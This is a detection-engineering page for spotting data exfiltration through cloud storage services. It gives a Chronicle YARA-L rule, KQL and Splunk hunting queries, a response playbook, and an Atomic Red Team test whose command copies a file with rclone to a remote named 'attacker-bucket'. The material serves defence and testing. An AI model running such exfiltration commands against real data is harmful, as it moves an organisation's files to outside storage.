Detect Data Exfiltration via Cloud Storage Services in Google Chronicle
Exfiltration of corporate data to attacker-controlled cloud storage is a dominant technique in double-extortion ransomware campaigns and espionage operations. Adversaries use legitimate cloud storage services (Mega, Dropbox, OneDrive, Box, Google Drive, rclone, AzCopy, ShareFile) to blend exfiltration traffic with normal business activity, bypassing egress monitoring that blocks unknown C2 IPs. Scattered Spider used Mega for SMB data exfiltration before ransomware deployment in 2024-2025. Akira and Black Basta affiliates use rclone with SFTP/cloud backends. Lazarus Group favors Dropbox and Google Drive. Key indicators: rclone.exe or azcopy.exe execution with external cloud endpoints, large outbound data transfers to cloud storage IPs, WinSCP or FileZilla used for bulk data staging, and PowerShell Invoke-WebRequest with cloud storage URLs. Detection opportunity exists in the staging phase (file collection before transfer) and the transfer phase (network and process telemetry).
MITRE ATT&CK
- Tactic
- Exfiltration
YARA-L Detection Query
rule cloud_storage_data_exfiltration {
meta:
author = "df00tech"
description = "Detects data exfiltration via rclone, AzCopy, and cloud storage API abuse from scripting engines"
severity = "HIGH"
mitre_attack_tactic = "Exfiltration"
mitre_attack_technique = "T1567.002"
threat_actors = "Scattered Spider, Akira, Black Basta, Lazarus"
reference = "https://attack.mitre.org/techniques/T1567/002/"
events:
$e.metadata.event_type = "PROCESS_LAUNCH"
(
re.regex($e.target.process.file.full_path, `(?i)rclone\.exe`)
or (
re.regex($e.target.process.file.full_path, `(?i)azcopy\.exe`)
and re.regex($e.target.process.command_line, `(?i)(blob|file|queue)\.core\.windows\.net`)
)
or (
re.regex($e.target.process.file.full_path, `(?i)(powershell|pwsh|curl|wscript|cscript)\.exe`)
and re.regex($e.target.process.command_line, `(?i)(mega\.nz|mega\.io|dropbox\.com|dropboxapi\.com|transfer\.sh|gofile\.io|box\.com|box\.net|drive\.google\.com|onedrive\.live\.com|sharefile\.com|sendspace\.com|filebin\.net|anonfiles\.com)`)
)
)
$hostname = $e.principal.hostname
condition:
$e
}Chronicle YARA-L 2.0 rule matching PROCESS_LAUNCH UDM events to detect cloud storage data exfiltration. Fires on rclone.exe execution (no command-line filter required — any execution is high-fidelity), AzCopy invocations targeting external Azure storage endpoints, and PowerShell, curl, or script host processes with cloud storage or anonymous upload service domain references in the command line. Covers documented TTPs for Scattered Spider (Mega), Akira and Black Basta (rclone), and Lazarus Group (Dropbox, Google Drive).
Data Sources
Required Tables
False Positives & Tuning
- Authorized cloud-to-cloud migrations: IT teams using rclone under approved service accounts for scheduled data migrations — maintain a Chronicle reference list of authorized migration service account principal.user.userid values and add a NOT $e.principal.user.userid in %authorized_migration_accounts exclusion to the events block
- Azure infrastructure automation: operations or platform engineering teams running AzCopy for Blob Storage management tasks — build a Chronicle reference list of corporate Azure storage account FQDNs and add NOT re.regex($e.target.process.command_line, %corp_storage_accounts) to suppress known-good invocations
- Sanctioned enterprise file-sharing clients: Google Drive, OneDrive, or Dropbox for Business background sync processes running under standard user accounts — supplement the rule with a condition block counting events per principal.hostname over a time window and tuning on volume rather than presence to avoid suppressing legitimate single-event occurrences
Other platforms for THREAT-CloudStorage-DataExfil
Testing Methodology
Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulate Cloud Exfiltration via rclone to Mega
Expected signal: Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.
Response Playbook
Triage
- If rclone is detected: rclone.exe has no legitimate end-user purpose on standard workstations. Any execution outside of an IT-documented backup process should be treated as active exfiltration.
- Review the rclone command line for the target remote (e.g., rclone copy C:\share remote:bucket) — this tells you what data was targeted and where it went.
- For AzCopy with external storage accounts: determine if the target storage account name is a corporate account or attacker-controlled. Check Azure Activity logs for recent storage account creation.
- Estimate data volume: check network flow logs for total bytes sent to the external destination during the alert window.
- Identify how rclone arrived on the system: file creation event for rclone.exe, browser download history, SMB copy from another internal host.
Containment
- Isolate the affected host via EDR immediately if active exfiltration is detected.
- Block the exfiltration destination at the firewall: rclone targets (mega.nz, etc.) or the specific Azure storage blob URL.
- Attempt to delete the uploaded data: if Mega or similar service was used, contact them with a law enforcement or data subject request. For attacker-controlled Azure blob storage, the data cannot be retrieved.
- Identify the scope of exfiltrated data: which files/directories were included in the rclone copy command? This determines GDPR/data breach notification obligations.
- Notify data protection officer/legal team if sensitive personal data (GDPR Article 33) or customer data was exfiltrated — breach notification obligations may apply.
Evidence Collection
- rclone.exe command line: target directories, remote configuration, transfer parameters
- Network flow logs: bytes transferred, destination IP, duration
- rclone config file (typically %APPDATA%\rclone\rclone.conf): contains remote credentials
- Sysmon Event ID 3: network connections from rclone to exfiltration endpoint
- File access logs: which files were accessed/read before the exfiltration
Escalation Criteria
- !Data exfiltration confirmed (rclone executed and network transfer observed) — double-extortion ransomware scenario
- !Sensitive data directories included in rclone copy (HR, Finance, Legal, Engineering source code)
- !GDPR-relevant personal data (customer records, employee data) confirmed in exfiltrated scope
- !Evidence of exfiltration followed by ransomware staging indicators on same host or other hosts
Investigation Guide
Related Techniques
Forensic Artifacts
- >
rclone.conf: attacker remote configuration with credentials and target bucket - >
rclone.exe binary: hash for attribution, metadata for provenance - >
Windows Prefetch: RCLONE.EXE-*.pf with execution timestamps - >
rclone log file (if --log-file parameter was used): full transfer log - >
Network PCAP (if available): actual file data transferred to confirm scope
Tuning Guidance
rclone.exe execution on workstations is almost never legitimate — create an alert with no threshold (any occurrence triggers). For AzCopy, build an allowlist of corporate Azure storage account names and alert on any AzCopy operations targeting accounts not in the list. For network-based detection, proxy logs are often more reliable than DNS/flow data for cloud storage domain matching. If your organisation legitimately uses Dropbox or Box for business, exclude those domains but create alerts for the specific large-transfer scenarios (>100MB/hour). Block or alert on mega.nz, gofile.io, transfer.sh, and anonfiles.com at the web proxy as these have no legitimate business use in most SMBs.
Hunting Queries
Hunt for any connections to known file hosting and exfiltration sites over the past 30 days — establish a baseline of what, if any, cloud storage connections are expected in your environment.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
| summarize
Hits=count(),
TotalBytesSent=sum(SentBytes),
Processes=make_set(InitiatingProcessFileName),
Days=dcount(bin(Timestamp, 1d))
by DeviceName, AccountName, RemoteUrl
| sort by TotalBytesSent descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationHostname="*mega.nz*" OR DestinationHostname="*dropbox.com*" OR
DestinationHostname="*gofile.io*" OR DestinationHostname="*transfer.sh*")
| stats count AS Conns, sum(DestinationIp) AS IPs BY host, User, Image, DestinationHostname
| sort - ConnsAtomic Red Team Tests
Uses rclone to copy test files to a Mega cloud storage account, simulating the exfiltration technique used by Akira and Black Basta ransomware operators. Test files should be non-sensitive dummy data.
Command
echo 'Test exfiltration data' > C:\Temp\exfil_test.txt && rclone.exe copy C:\Temp\exfil_test.txt mega:attacker-bucket --config C:\Temp\rclone_test.confCleanup
Remove-Item C:\Temp\exfil_test.txt, C:\Temp\rclone_test.conf -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.
Expected Detection
Alert fires on rclone.exe execution (RiskScore=85) and network connection to mega.nz. Both indicators trigger simultaneously.
Related Detections
Tactic Hub
Detection Variants (2)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-Exfil-MEGAcmdCloudStorageUpload Data Exfiltration to MEGA Cloud Storage via MEGAcmd / MEGAsync CLI
- THREAT-Exfiltration-M365AnonymousShareLinks Data Exfiltration via Anonymous SharePoint/OneDrive Sharing Links Use when data never leaves Microsoft 365 — anonymous SharePoint/OneDrive share links, visible only in the Unified Audit Log, not EDR or proxy logs.